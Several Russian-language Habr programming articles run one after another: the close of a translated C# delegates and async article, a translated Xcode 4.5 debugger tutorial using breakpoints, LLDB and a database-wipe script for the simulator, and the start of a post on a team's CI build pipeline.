Thread.Sleep(3000);
Console.WriteLine("Основной поток с ID = {0} завершился",
Thread.CurrentThread.ManagedThreadId);
}
static void DisplayResult(IAsyncResult result)
{
string format = (string)result.AsyncState;
AsyncResult delegateResult = (AsyncResult)result;
SampleDelegate delegateInstance =
(SampleDelegate)delegateResult.AsyncDelegate;
Int32 methodResult = delegateInstance.EndInvoke(result);
Console.WriteLine(format, methodResult, Thread.CurrentThread.ManagedThreadId);
}
static int CountCharacters(string text)
{
Thread.Sleep(2000);
Console.WriteLine("Подсчёт символов в строке '{0}' в потоке с ID = {1}",
text, Thread.CurrentThread.ManagedThreadId);
return text.Length;
}
static int Parse(string text)
{
Thread.Sleep(100);
Console.WriteLine("Парсинг строки '{0}' в потоке с ID = {1}",
text, Thread.CurrentThread.ManagedThreadId);
return int.Parse(text);
}
}
```
На этот раз почти вся работа выполняется в потоках из пула потоков. Основной поток просто инициирует асинхронные задачи и «засыпает» до тех пор, пока все эти задачи не выполнятся. Все потоки из пула потоков являются фоновыми (background) потоками, которые не могут «удерживать» приложение (т.е. они не могут предотвратить его закрытие), и чтобы приложение не завершилось до того, как в фоновых потоках завершится работа делегатов, мы и применили вызов `Thread.Sleep(3000)` в основном потоке — можно надеяться, что 3-х секунд хватит для выполнения и завершения делегатов. Вы можете это проверить, закомментировав строчку `Thread.Sleep(3000)` — программа завершится почти мгновенно после запуска.
Результат работы нашей программы представлен ниже. Обратите внимание на порядок вывода результатов на консоль — результат работы парсера появился до результата работы счётчика, так как среда не гарантирует сохранение порядка при вызове `EndInvoke`. В предыдущем примере парсинг завершался значительно быстрее (100 мс), чем счётчик (2 сек), однако основной поток ждал их обоих, чтобы вывести прежде всего результат счётчика, а лишь потом парсера.
```
Основной поток с ID = 9 продолжает выполняться
Парсинг строки '10' в потоке с ID = 11
Парсер вернул '10' в потоке с ID = 11
Подсчёт символов в строке 'hello' в потоке с ID = 10
Счётчик вернул '5' в потоке с ID = 10
Основной поток с ID = 9 завершился
```
Помните, что при использовании данной асинхронной модели вы должны вызвать `EndInvoke`; это нужно для того, чтобы гарантировать отсутствие утечек памяти и обработчиков. В некоторых случаях при отсутствии `EndInvoke` утечек может и не быть, но не надо на это надеяться. Для более детальной информации вы можете обратиться к моей статье «[Multi-threading in .NET: Introduction and suggestions](http://yoda.arachsys.com/csharp/threads/index.shtml)», посвящённой многопоточности, в частности, к разделу «[The Thread Pool and Asynchronous Methods](http://yoda.arachsys.com/csharp/threads/threadpool.shtml)».
### Заключение
Делегаты предоставляют простой способ вызова методов с учётом экземпляров объектов и с возможностью передачи неких данных. Они являются основой для событий, которые сами по себе являются эффективным механизмом для добавления и удаления обработчиков, которые будут вызваны в соответствующее время.
### Примечания
1. *Прим. перев.* Признаюсь, объяснение Джона Скита довольно невнятное и скомканное. Чтобы детально разобраться, почему блокировка на текущем экземпляре и на типе — это плохо, и почему следует вводить отдельное приватное поле только для чтения, я крайне советую воспользоваться книгой «CLR via C#» за авторством Джеффри Рихтера, которая уже пережила 4 издания. Если говорить о втором издании 2006 года выпуска, переведённое в 2007 на русский язык, то информация о данной проблеме расположена в «Часть 5. Средства CLR» – «Глава 24. Синхронизация потоков» — раздел «Почему же «отличная» идея оказалась такой неудачной».
2. *Прим. перев.* Этот и следующий примеры кода, как и их вывод на консоль, были немного изменены по сравнению с оригинальными примерами от Дж. Скита. Помимо перевода, я добавил вывод идентификаторов потоков, чтобы было чётко видно, какой код в каком потоке исполняется.
### От переводчика
Несмотря на немаленький размер статьи, нельзя не согласиться, что тема делегатов и событий намного более обширна, сложна и многогранна. Однако гипотетическая статья, полностью описывающая делегаты и события, имела бы размер, сходный с размером средней книги. Поэтому я привожу ссылки на наиболее полезные статьи по теме, причём такие, которые как можно более гармонично дополняют именно эту статью.
Алексей Дубовцев. [Делегаты и события](http://www.rsdn.ru/article/dotnet/delegat.xml) (RSDN).
Хотя статья не новая (датируется 2006 годом) и рассматривает лишь основы делегатов и событий, уровень «рассмотрения основ» намного глубже: здесь и более пристальное рассмотрение типа MulticastDelegate, особенно в плане комбинированных делегатов, и описание принципа работы на уровне MSIL, и описание класса EventHandlerList, и многое другое. В общем, если вы хотите рассмотреть основы делегатов и событий на более глубоком уровне, то данная статья определённо для вас.
[coffeecupwinner](https://habrahabr.ru/users/coffeecupwinner/). [События .NET в деталях](http://habrahabr.ru/post/148562/).
Надеюсь, вы обратили внимание на заметку об устаревшем материале вначале раздела «[Потокобезопасные события](#threadsafe)»? В C# 4 внутренняя реализация field-like событий, которую критикуют Скит и Рихтер, была полностью переработана: теперь потокобезопасность реализуется через Interlocked.CompareExchange, безо всяких блокировок. Об этом, в числе прочего, и рассказывает эта статья. Вообще, статья скрупулёзно рассматривает только события, однако на намного более глубоком уровне, чем у Джона Скита.
Daniel Grunwald.
[andreycha](https://habrahabr.ru/users/andreycha/). [Слабые события в C#](http://habrahabr.ru/post/89529/).
Когда говорят о преимуществах между C#/.NET с одной стороны и C++ с другой, то в преимущество первым помимо прочего записывают автоматическую сборку мусора, которая ликвидирует утечки памяти как класс ошибок. Однако не всё так радужно: события могут приводить к утечкам памяти, и именно решению этих проблем посвящена данная очень детальная статья.
[rroyter](https://habrahabr.ru/users/rroyter/). [Зачем нужны делегаты в C#?](http://habrahabr.ru/post/143925/)
Как я упоминал во вступлении, в начинающих разработчиков недопонимания с делегатами связаны с отсутствием видимых причин, требующих их использования. Данная статья очень доходчиво демонстрирует некоторые ситуации, где делегаты будут крайне уместны. Кроме того, здесь продемонстрированы новые возможности делегатов, введённые в C# 2-й и 3-й версий. | https://habr.com/ru/post/198694/ | null | ru | null |
# Возможности отладчика в Xcode 4.5
Единственной постоянной в разработке програмного обеспечения являются баги. Давайте посмотрим правде в глаза, нам никогда не удавалось сделать все правильно с первого раза. Из-за небрежности или неправильных предположений, разработка программного обеспечения становится похожа на приготовление пирога в мотеле, кишащим тараканами, за исключением того, что в нашем случае мы сами создаем жуков. К счастью Xcode дает нам множество инструментов для того, чтобы держать насекомых в ужасе. Очевидно что для этой цели существует отладчик, который мы знаем и любим, но есть еще многое что он умеет помимо просмотра переменных и построчной отладки. Это туториал для начинающих и продвинутых iOS разработчиков, где вы сможете получить практический опыт работы с некоторыми менее известными но черезвычайно полезными методами отладки, таких как:
— как избавится от NSLog в пользу логирования брейкпоинтов;
— как избавится от списка TODO в пользу генерации предупреждений компилятора;
— остановка на условиях с выражениями;
— динамическое изменение данных с помощью LLDB и многое другое.
Как вы можете заметить, целью для меня является быть ленивым разработчиком. К счастью LLDB позволяет сохранить мое время на мартини. Он предоставляет мне отличные инструменты для того, чтобы я не был приклеен к моему компьютеру в течении дня и ночи. Устраивайтесь поудобнее в кресле и открывайте свой любимый напиток. Время становиться ленивым!
Замечу что данный туториал подразумевает что вы уже знакомы с основами отладки в Xcode. Если вы новичек, рекомендую пройти сначала [этот туториал](http://www.raywenderlich.com/10209/my-app-crashed-now-what-part-1).
#### Итак, начнем
Я собрал образец приложения для это проекта, который вы можете скачать [здесь](http://cdn2.raywenderlich.com/downloads/GiftLister.zip).
Это приложение называется Gift Lister. Оно отслеживает продарки, которые вы хотите купить своим друзьям. Это приложение похоже на проложение Gifts 2 HD, которое недавно получило награду [Most Visually Impressive](http://www.raywenderlich.com/27538/winners-readers-app-awards-2012). Gift Lister похож на Gifts 2 HD но много, много хуже.
Для начала, Gift Lister просто кишит багами. Разработчик (это был я в другой футболке) был очень амбициозен и пытался исправить все старомодным путем. И да, приложение все еще не работает.
В этом туториале вы увидите методы, как починить приложение действуя настолько лениво, насколько это вообще возможно.
Открыв проект, вы увидете различные файлы. Вы можете увидить, что наше приложение это фронтенд к модели под управлением CoreData.
Теперь, когда вы осмотрелись, постройте и запустите проект. Не удивительно, но приложение падает. Давайте же починим его.
#### Настройка консоли дебагера
Первым делом вам необходимо открыть консоль дебаггера. Вы можете открыть ее нажав на эту ктопку на главной панели:
Хотя эта кнопка очень хорошая, милая и удобная, ее нажатие при каждом сеансе отладки ведет к ненужному износу пальцев. По этому я предпочитаю чтобы Xcode делал это за меня.
Для этого необходимо открыть настройки Xcode нажав ⌘, либо зайти в меню и выбрать **Xcode\Preferences** и нажать кнопку **Behaviors**
Выберите пункт **Starts** с левой стороны появившегося диалогового окна. С правой стороны появится группа опций, выберите **седьмой чекбокс** и выберите **Variables & Console** в последнем чекбоксе.
Проделайте те же самые действия для пунктов **Pauses** и **Generates Output**, которые находятся прямо под пунктом **Starts**.
Опция **Variables & Console** говорит отладчику при старте сессии показать как консоль, так и список локальных переменных. Если вы хотите чтобы показывалась только консоль, выберете Console View, если вы хотите видеть только список локальных переменных выберите Variable View.
Опция Current Views запускает тот вид, который был в последней сессии отладки. Например если вы закрыли отображение локальных переменных и оставили только консоль, при следующем запуске отладчика отобразится только консоль.
Закройте диалоговое окно, затем постройте и запустите приложение.
Теперь при каждом запуске вашего приложение будет появляться отладчик, что освободит вас от мучительного бремени нажатия кнопки.
#### The NSLog Jam
Перед тем как продолжить рассмотрим определение breakpoint.
Breakpoint это точка, которая позволяет остановить программу в некоторый момент времени и выполнить некоторые действия над запущенной программой.
Программа остановится в назначенной точке и позволит оценить свое текущее состояние и позволит осуществить свое выполнение по шагам.
Также вы можете запускать код, изменять переменные, и даже заставить компьютер цитировать Шекспира. И вы все это сделаете в течении этого туториала.
Хорошо, постройте и запустите приложение. Такой выглядит первая попытка запуска:
Тут есть над чем подумать. В текущий момент вы не можете увидеть источник ошибок компилятора. Для того, чтобы найти источник, вам необходимо поставить breakpoint.
Итак, переключитесь на breakpoint navigator, как показано на картинке ниже:
Затем нажмите на плюс внизу панели. Из появившегося меню выберите **Add Exception Breakpoint**.
Далее вы должны увидить диалоговое окно:
Поле **Exception** предоставляет опцию включить breakpoint для Objective-C, C++ кода или для всего. Оставьте значение по умолчанию (All).
Поле **Break** позволяет остановить выполнение при возникновении ошибки либо при ловле (Catch) исключения. Оставьте выбранным пункт On Throw. Если вы собираетесь использовать в вашем коде обработчик исключений, тогда вам нужен пункт On Catch. Для нашего туториала оставьте On Throw.
Два последних поля мы рассмотрим по ходу обучения. Нажмите кнопку **Done** и, затем, **Build and run**.
На этот раз результат стал гораздо понятнее.
Взгляните на консоль, теперь она заполнена логами, причем многие из них нам не нужны.
Логи это важная часть отладки приложения. Но нам необходимо убрать ненужные сообщения, чтобы не захламлять консоль. Если вы не уберете ненужные сообщения, вы будете тратить больше времени на поиск нужных сообщений, и, как следствие, тратить на ошибку больше времени, чем она того заслуживает.
Откройте **AppDelegate.m** и вы должны будете увидить много старых сообщений в методе **didFinishLauncingWithOptions**. Выберите их все удалите.
Давайте найдем следующий журнал логов. Откройте поиск и найдите **NSLog (@«in viewDidLoad»);**
Нажмите в результатах поиска на **FriendSelectionViewController.m** и далее откроется строка, которая выводит сообщения в лог.
На данный момент усилия, которые вы затрачиваете на ведение логов начинают накапливаться. Возможно вам кажется что вы потратили не так уж и много времени, но потраченное время имеет свойство накапливаться. К концу проекта потраченное время будет измеряться уже в часах.
Другим недостатком хардкодинга логов является то, что каждый раз добавляя что то новое к вашей кодовой базе, вы берете на себя риск возникновения новых ошибок. Все это занимает несколько нажатий клавиш, немного автозаполнения, немного отвлечения внимания и, однажды, в вашем работающем приложении появляется баг.
Теперь настало время избавиться от логов.
Сначала закомментируйте две наших строки, генерирующие логи. Затем добавьте breakpoints кликнув левее каждого выражения.
Ваше окно с кодом должно теперь выглядеть следующим образом:
Кликните на первом breakpoint левой кнопкой мыши с зажатым Control либо правой кнопкой и выберите Edit Breakpoint. В диалоговом окне выберите Log Message из меню Action. В текстовом поле напишите «in viewDidLoad». Диалоговое окно должно выглядеть как на рисунке:
Нажмите кнопку Done, затем запустите приложение. Теперь в консоли вы должны увидить сообщения «in viewDidLoad», но сейчас оно генерируется не NSLog, а с помощью breakpoint!
Но есть одна большая проблема. Программа останавливается, достигая breakpoint в то время как мы не хотим этого. Изменить такое поведение давольно просто.
Кликните на breakpoint левой кнопкой мыши с зажатым Control либо правой кнопкой и выберите чекбокс «Automatically continue after evaluating». Теперь снова запустите приложение.
На этот раз при достижении первого breakpoint только выводится сообщение, программа останавливается только на втором breakpoint.
Кликните на втором breakpoint левой кнопкой с зажатым Control либо правой кнопкой мыши. Выберите «Log Message» в меню, затем напишите «Loading Friends...». В нижней части диалогового окна выберите чекбокс «Automatically continue after evaluating». Нажмите Done и запустите приложение.
Приложение работает отлично, до той поры пока оно не падает, но не все же сразу.
Верите или нет, но вы все еще делаете слишком много работы. Кликните на первом breakpoint левой кнопкой мыши с зажатым Control либо правой кнопкой и замените «in viewDIdLoad» на %B. Запустите приложение еще раз. Консоль будет выглядить следующим образом:
Ключ %B выводит имя метода в котором выполнился breakpoint. Вы так же можете использовать %H для того, чтобы увидеть сколько раз был вызван метод. Так же сюда могут включаться простые выражения.
Так вы можете написать: %B has been touch %H times. В консоле будет выведено: -viewWillLoad has been touched 1 times.
Перед тем как вы исправите критичный баг, давайте еще немного повеселимся. Кликните на первом breakpoint левой кнопкой мыши с зажатым Control либо правой кнопкой и выберите Edit Breakpoint. В диалоговом окне нажмите кнопку плюс. Эта кнопка позволяет выполнять несколько действий на одном breakpoint.
Выберите «Log Message» и введите “To be, or not to be”. Выберите опцию «Speak Message» и нажмите Done. Диалоговое окно должно выглядить следующим образом:
Запустите приложение и насладитесь представлением.
К сожалению, Log Messages не обладает гибкостью NSLog. Для ее достижения нам необходимо добавить некоторые Debugger Actios.
Для демонстрации вы исправите критический баг. Запустите приложение и дайте программе упасть. Стэк будет выглядеть следующим образом:
\*\*\* Terminating app due to uncaught exception 'NSInvalidArgumentException', reason: '+entityForName: nil is not a legal NSManagedObjectContext parameter searching for entity name 'Friend'
Что-то не работает в Core Data.
Проверяя код вы увидите что NSManagedObjectContext тянется из объекта DataStore. Тут у вас возникает предчуствие, что, возможно, DataStore и есть источник проблемы. DataStore не является частью CoreData. Это вручную созданный синглтон для инкапсуляции некоторых основных объектов CoreData.
Добавьте breakpoint под строкой: DataStore \*dataStore = [DataStore sharedDataStore];
Кликните на breakpoint левой кнопкой с зажатым Control либо правой кнопкой мыши, выберите «Edit Breakpoint» и затем выберите «Debugger Command». В текстовом поле введите следующее:
po dataStore
Отметьте чекбокс “Automatically continue after evaluating” и запустите.
Как вы и ожидали значение dataStore равно nil.
Откройте **DataStore.m** и вы увидите что sharedInstance всегда возвращает nil. Измените возвращаемое значение с
return nil;
на
return sharedInstance;
Запустите приложение. Ура, оно работает (вроде бы как)!
#### Выражения и breakpoints
Чем дальше, тем лучше, но как вы могли заметить логи выведенные с помощью breakpoint не показывают время возникновения сообщения, что может быть иногда полезно для отладки приложения. Но есть хорошая новость, это легко исправить с помощью breakpoint выражений!
Давайте восстановим логи во всей их красе. Выполним правый клик или control клик на предидущий breakpoint в **FriendSelectionViewController.m**. Выберите «Edit Breakpoint». В диалоговом окне измените комманду на
expr (void)NSLog(@«dataStore: %@», dataStore)
Комманда expr будет вычислять выражение в реальном времени. Комманда выражения должна точно знать тип возвращаемого значения, поэтому приведение типов необходимо. Так как у NSLog не существует возвращаемого значения, тип возвращаемого значения должен быть void. Запустите приложение.
Вы должны увидеть примерно следующее:
2012-12-20 08:57:39.942 GiftLister[1984:11603] dataStore:
Возможность выводить NSLog выражения через breakpoint позволит вам больше не останавливать программу только для того, чтобы вывести важные данные, да и теперь у вас не будет шанса привнести новые баги в программу просто по тому, что вы не трогаете код, но лучше всего то, что вам не придется лихорадочно удалять ваши отладочные сообщения в ночь перед релизом.
Существует небольшая разница между вызовом NSLog в отладчике и вызовом в коде. В отличие от кода, будет выводится текст "". Это сообщение генерируется LLDB, и к сожалению, вы не сможете его подавить. Хорошие новости в том, что такое поведение должно исправится в следующем релизе XCode.
Давайте тепеть отключим логирование приложения. Это можно сделать просто нажав кнопку breakpoints.
Нажмите на нее и затем запустите приложение. Логов больше не генерируется. Вы также можете индивидуально отключить логирование в breakpoint navigator.
Дни когда вы наполняли свой код вызовами логов наконец то прошли!
#### Предупреждения, ошибки, возвращаемые значения, боже ж мой
Приложение работает. Следующее что нам нужно сделать это добавить друзей для того чтоб вы могли составить список предпочтений для выбора подарков. Запустите приложение, и когда приложение запустится, нажмите кнопку на которой написано «Add a friend». Приложение загрузит другой view controller в котором будет поле для ввода текста и выбор даты. Введите имя и выберите день рождения друга. Нажмите OK.
Вы вернетесь к корневому view controller и запись о вашем друге будет добавлена в таблицу. Нажмите Add friend еще раз.
Введите имя еще одного друга, но на этот раз выберите ему день рождения 31 февраля 2010 года.
В обычном Date picker такой даты нет, но не в случае нашего приложения. В порыве бреда я решил быть амбициозным и выбрал обычный picker вместо date picker. Сделав так, мне пришлось переписать всю логику проверки дат, и, конечно, это привело к возникновению новых ошибок.
нажмите кнопку OK. К сожалению записалась неверная дата. Время провести отладку, чтобы понять что не так.
Откройте **AddFriendViewController.m** и поставьте breakpoint в начало метода — (void) saveFriend.
В симуляторе нажмите «Add a friend» и также как и в прошлый раз, введите неправильную дату. Выполняйте метод по шагам пока не достигните строки:
```
if ([self isValidDateComposedOfMonth:month day:day andYear:year]) {
```
Зайдите в данный метод. Код проверки значений отсутствует. Но это еще не все, здесь просто комментарий, обещающий поправить ситуацию в будущем.
Комментарии это хороший способ описать значения некоторых кусков кода, но их исользования для управления задачами бесполезно. Даже в небольших проектах слишко много различных пунктов для того, чтобы гарантировть что не один из таких комментариев не будет просто забыт.
Лучший способ не потерять такие комментарии, это сделать их действительно заметными.
В первой строке метода -(void)isValidDateComposedOfMonth напишите следуюший код:
```
#warning add validation code
```
С этого момента проект будет сообщать о новом предупреждении. Нажмите на Issue Navigator и вы увидите там новое предупреждение с вашим сообщением.
Если вы из тех разработчиков что игнорируют предупреждения, попробуйте следующий метод
```
#error fix your code
```
С этого момента в проекте появится новая ошибка. Причем вы не сможете скомпилировать приложение пока не устрените ее. Это был один из способов для слежения за своими комментариями.
Удалите оба сообщения чтобы приложение смогло скомпилироваться.
В первой строке метода — (void) isValidDateComposedOfMonh, напишите следующий код:
```
// TODO: Add validation code
```
Сохраните код и откройте Jump bar. Вы должны увидеть что то вроде этого:
Вы также можете написать: FIXME:, ???:, и !!!:. ???: значит «У меня есть вопросы» в то время как !!!: значит «это важно».
Эти сообщения не привлекают столько внимания как предупреждения или ошибки, но они более заметны чем одинокий комментарий внизу метода. Лучше всего оставлять комментарии для, ну допустим для комментирования и вести список задач за пределами кода.
Давайте теперь рассмотрим одну небольшую особенность, которая пояилась в Xcode 4.4.
Запустите приложения оставив breakpoint в пустом методе валидации. Посмотрите на список переменных в отладчике. Тепрь выполните step out. Вновь посмотрите на список переменных. Вы должны увидеть следующее:
Эта особенность не получила особого внимания, но она способна сделать вашу жизнь гораздо проще. Отметьте, что код был вызван отсюда:
```
if ([self isValidDateComposedOfMonth:month day:day andYear:year]) {
```
Код, который вызывает метод теперь немедленно использует возвращаемое значение в выражении. Раньше, если бы вы захотели проверить возвращаемое значение, вам нужно бы было разбивать строку и затем выводить значение.
Теперь вы можете просто выйти из метода и посмотреть в отладчике возвращаемое значение.
#### Озвучивание вашего метода для сохранения данных
На данный момент у вас есть уже достаточно данных в приложении. Настало время их сохранить. В приложениях вроде этого, сохранения должны быть настолько частыми, чтобы не потерять данные. Но это не для нашего конкретного приложения. Наше приложение сохраняет данные только тогда, когда пользователь его закрывает.
Нажимте кнопку назад на навигационной панели, что вернет вас к корневому контроллеру, затем симулируйте нажатие кнопки Home. Вы можете сделать это из меню симулятора выбрав пункт Hardware\Home или нажав shift-command-h.
Теперь остановите программу из Xcode и снова ее запустите. Таблица пуста. Приложению не удалось ничего сохранить.
Откройте **AppDelegate.m**. В методе **applicationDidEnterBackground** вы сразу должны будете увидить проблему. Существует метод названный **doLotsOfWork**. Работа не закончилась вовремя, так что iOS закрывает ваше приложение до завершения его очистки. Результатом этого досрочного завершения является то, что метод SaveData не вызвается.
Давайте сначала убедимся что данные сохраняются. В applicationDidEnterBackground переместите вызов [[DataStore sharedDataStore] saveData]; перед вызовом doLotsOfWork следующим образом:
```
[[DataStore sharedDataStore] saveData];
[self doLotsOfWork];
```
Теперь добавьте breakpoint на строку doLotsOfWork. Далее сделайте правый или control клик на breakpoint и выберите Edit Breakpoint. Выберите Sound Action и поставьте звук Submarine. Когда я имею дело со звуками, я пытаюсь не использовать системные звуки так как их легко не заметить.
Далее кликните на чекбокс Automatically continue after evaluating и наконец запустите приложение.
Когда приложение запустится снова, добавьте нового пользователя и нажмите кнопку Home. Сразу после закрытия приложения вы должны будете услышать звук подводной лодки, сигнализирующий о том, что данные былио сохранены.
Остановите приложение из Xcode и нажмите кнопку Run. Вы увидите ваши данные во всей красе.
Использование звуков это хороший способ узнать о выполнении определенной части кода без просмотра логов. Вы также можете использовать свой звуки если, например, вы хотите в случае падения приложения слышать звук взрыва.
Для этого просто поместите ваши звуки в папку: YOUR\_HOME\_DIRECTORY/Library/Sounds но вам придется перезапустить Xcode для того, чтобы он мог их увидеть.
#### Условия успешной отладки
В разработке существуют моменты, когда необходимо изменять состояние программы через определенные промежутки времени. Иногда эти изменения происходят в огромной последоательности событий, которые делают нормальную отладку невозможной. И тут игру вступают условия.
Теперь у вас есть несколько друзей сохраненных в приложении, нажмите на одно из имен чтобы открыть интерфейс для подарков. Это всего лишь простая сгрупированная таблица, которая может быть отсортирована по признаку может ли быть куплен подарок или нет.
Нажмите кнопку Add на навигаионной панели для того чтобы добавить новый элемент. Для имени выберите Shoes. Для цены 88.00. Нажмите кнопку OK. Эти туфли должны появиться в таблице подарков.
Теперь добавьте следующие вещи:
Sleigh / 540.00
Candles / 1.99
XBox / 299.99
iPad / 499.99
Упс. Вы только что поняли что на самом деле хотели записать PS3 вместо XBox. Вы можете просто нажать на ячейку для редактирования, но в целях демонстрации вы будете делать это через отладчик.
Откройте **GiftListsViewController.m** и найдите метод cellForRowAtIndexPath. Добавьте breakpoint на строке под кодом if (gift) {
Теперь правый клик или control клик на breakpoint и выберите «Edit Breakpoint».
Настало время для нашего условия. Относитесь к ниму так же просто как и к сообщениям. Добавьте следующий код:
```
(BOOL) [gift.name isEqualToString:@"XBox"]
```
LLDB требует от нас приведения типов, по-этому мы поставили BOOL перед выражением. Нажмите кнопку готово. Теперь нажмите кнопку Bought. В таблицу загружаются новые данные но breakpoint не срабатывает. Нажмите кнопку сохранить. На этот раз все остановится выбранный элемент в консоле отладчика подсветится.
В консоль отладчика добавьте следующее:
```
(lldb) expr (void) [gift setName:@"PS3"]
```
Теперь нажмите кнопку Play и таблица продолжит загружаться и PS3 заменит XBox в списке подарков.
Этого же результата можно добиться путем установки количества итераций. Control клик или правый клик на breakpoint и выберите ‘Delete Breakpoint’. Xcode может быть слегка нестабилен при изменении условий, по этому лучше все начать с чистого листа. Добавьте новый breakpoint на том же месте. На этот раз проигнорируйте текстовое поле и выберите номер 3. Нажмите Done.
Затем нажмите Bought и Saved.
Мы должны попасть в тот же самый breakpoint. Чтобы убедиться что мы на правильном объекте напишите:
```
(lldb) po gift
```
Теперь вернем объект к предидущему состоянию:
```
(lldb) (void)[gift setName:@"XBox 360"]
```
Таблица должна отразить изменения. Ну разве редактирование в реальном времени не прекрасно?
#### Настройка для сноса
При разработке приложений управляющих данными, зачастую бывает важно очищать хранилища данных. Для этого существует несколько способов, он рестарта iPhone симулятора до нахождения фактического хранилища на вашем компьютере и удалении его. Делать это снова и снова может быть несколько утомительно, по этому можно опять побыть немного ленивыми и позвольить Xcode сделать это за нас.
Мы начнем с созданиия скрипта. Скрипт это набор команд, который автоматизирует некоторые действия опереционной системы. Для создания нового скрипта выберите New file в меню приложения. Нажмите File\New\File или command-n. Выберите категорию Other и там выберите Shell script.
Введите имя wipe-db.sh
Теперь нам необходимо найти реальное хранилище данных.
Откройте ваш терминал. Если вы не знаете где находится терминал, вы можете найти его в папке вашего приложения в папке Utilities.
После запуска терминала перейдите в свой домашний каталог введя
```
YourComputer$ cd ~
```
Затем выведите список файлов и папок в вашей дериктории введя
```
YourComputer$ ls
```
Осмотрите ваш каталог, если вы не видите папку Library введите комманду
```
YourComputer$ chflags nohidden ~/Library/
```
Затем перезапустите терминал.
Теперь переместитесь в папку с симулятором iPhone с помощью комманды:
```
YourComputer$ cd ~/Library/Application\ Support/iPhone\ Simulator/6.0/Applications
```
Выведите список директории
```
YourComputer$ ls
```
Вы увидите много различных директорий, их количество зависит от того, скольго приложений установлено на симуляторе. Вам надо будет методом проб и ошибок нати папку с GiftLister. Для перехода в папку введите: cd THE\_NAME\_OF\_YOUR\_FOLDER
Чтобы сэкономить время вводите только первые три буквы имени папки и нажимайте Tab. Терминал будет дописывать имена папок за вас. Если нет, то продолжайте вводить буквы до тех пор, пока он не начнет автозаполнение. В моем случае это папка 0B1E5AD3-7292-45A6-BB5D-F1C004AC47F9 по этому я введу
```
YourComputer$ cd 0B1
```
и нажму Tab.
Внутри вы должны увидить файл **GiftLister.app**, если вы его не находите, попробуйте другую папку. Также этот проект выполняется на симуляторе iOS6. Если вы используете более раннюю версию симулятора введите
```
YourComputer$ cd ~/Library/Application\ Support/iPhone\ Simulator/
```
Затем введите ls для отображения ее содержимого. Выберите правильную версию симулятора, и зайдите в директорию с помощью:
```
cd VERSION_NUMBER/Applications
```
например
```
cd 6.0/Applications
```
Когда вы найдете папку вашего приложения введите
```
YourComputer$ cd Library
```
и введите ls.
Вы должны увидеть файл giftlister.sqlite. Джекпот.
Теперь выведите путь до файла коммандой pwd.
Скопируйте путь и вставьте его в скрипт добавив на конце /giftlister.sqlite
Ваш путь должет будет выглядеть примерно так:
```
/Users/Brian/Library/Application Support/iPhone Simulator/6.0/Applications/0B1E5AD3-7292-45A6-BB5D-F1C004AC47F9/Library/giftlister.sqlite
```
К сожалению вы не сможете использовать пробелы, по этому вам придется трансформировать
```
/iPhone Simulator/
/Application Support/
```
в
```
/iPhone\ Simulator/
/Application\ Support/
```
полный путь будет выглядеть как
```
/Users/Brian/Library/Application\ Support/iPhone\ Simulator/6.0/Applications/0B1E5AD3-7292-45A6-BB5D-F1C004AC47F9/Library/giftlister.sqlite
```
Далее добавьте комманду удаления, которая выглядит как просто rm.
Ваш скрипт будет выглядеть следующим образом:
Сохраните и закройте ваш скрипт.
По умолчанию скрипты создабтся только для чтения, вам необходимо будет сделать этот скрипт доступным для выполнения. Вернитесь в вашу домашнюю директорию введя
```
YourComputer$ cd ~
```
Затем выполните ls.
Перейдите в папку вашего проекта. Если вы сохранили его на рабочем столе, вы можете перейти туда просто выполнив
```
YourComputer$ cd Desktop
YourComputer$ cd GiftLister
```
Для перехода на папку вверх введите cd…
После долгого блуждания по терминалу вы должны увидеть папку проекта. Для выполнения скрипта просто введите
```
YourComputer$ chmod a+x wipe-db.sh
```
Chmode это программа для изменения разрешений файлов. a+x позволяет файлу быть исполняемым для всех пользователей, групп и других.
Ничего себе… как много всего. Сделайте передышку. Вы это заслужили. Иногда для того, чтобы побыть ленивым приходится хорошо поработать.
Закройте терминал и вернитесь в Xcode. Откройте **AppDelegate.m**. Установите breakpoint на первой строке метода didFinishLaunchingWithOptions. Правый или control клик на breakpoint и выберите «Edit Breakpoint». Добавьте Action и выберите Shell Command. В следующем диалоговом окне нажмите кнопку Choose и выберите только что созданный скрипт. Нажмите на чекбокс Automatically continue after evaluating” и затем нажмите Done. Остановите симулятор если он запущен. Теперь запустите приложение. База данных будет удалена.
Симулятор имеет тенденцию к кэшированию больших объемов данных, по этому я считаю что лучше всего нажать Clean из Xcode в меню Clean, а потом нажать Build and run.
Все это потребовало немного работы при настройке, но теперь очистка базы данных может быть выполнена всего одним нажатием кнопки. Когда данное поведение нежелательно просто отключайте breakpoint.
Автором данного поста является [Brian Moakley](http://www.raywenderlich.com/about#brianmoakley), человек, являющийся не только разработчиком iOS приложений и беллетристом, но также при этом это первый сотрудник Razerware, принятый на полный рабочий день.
**P.S.** О всех грамматических и синтаксических ошибках пишите в личку, они будут исправлены настолько быстро, насколько это будет возможно. | https://habr.com/ru/post/169353/ | null | ru | null |
# Через тернии к сборке
Привет, дорогие читатели. Я – разработчик в компании “RTL Service”, в которой мои обязанности по разработке продукта пересекаются с обязанностями DevOps. Конкретнее – я создаю и поддерживаю инфраструктуру сборки и первичного тестирования наших продуктов еще до их попадания в отдел тестирования.
В данной статье будет рассказано о том, какой путь у нас проходит код от пуша в хранилище системы контроля версий до формирования установочного deb пакета и размещения в наш репозиторий пакетов.
В качестве сервера CI (непрерывной интеграции) у нас используется Hudson, можете кидать в меня тапками, но мы руководствуемся принципом «Работает — не трогай». В дальнейшем есть планы попробовать TeamCity либо Jenkins.
### Общая информация о задачах и группах на нашем CI сервере.
Все задачи по сборкам у нас разбиты на 5 больших групп:
● Firmware (сборка прошивок устройств, они выходят за рамки этой статьи, но первый и второй шаг сборки у них происходит так же как у остальных объектов сборки)
● Server (сборки основного сервера)
● Appserver (сборки сервера приложений)
● Webclient (сборки веб интерфейса)
● Tests (запуск полного функционального тестирования и т.п)
### Шаг 1: Коммит в систему контроля версий.
Тут все довольно тривиально. При помощи хуков со стороны сервера контроля версий посылается GET запрос на CI сервер, результатом которого будет запуск параметризованной сборки (что это и для чего – будет рассказано ниже).
Пример post-commit хука:
```
while read orev nrev ref
do
case "$ref" in
refs/heads/i*)
issue_branch="${ref##refs/heads/}"
curl -X GET "http://адрес_ci_сервера/…./buildWithParameters?ISSUE_BRANCH=$issue_branch"
;;
esac
done
```
### Шаг 2: Запуск параметризованной сборки.
Как ясно из названия, — это сборка, которая может иметь различные параметры. В нашем случае обычно хватает пары-тройки, например, — имя ветки и название продукта. Такой подход позволяет не плодить задачи, которые различаются между собой не критичными моментами.
На этом этапе происходит первичная сборка, например, для java проекта это будет работа с gradle в самом примитивном варианте, выглядящая как «gradle clean build».
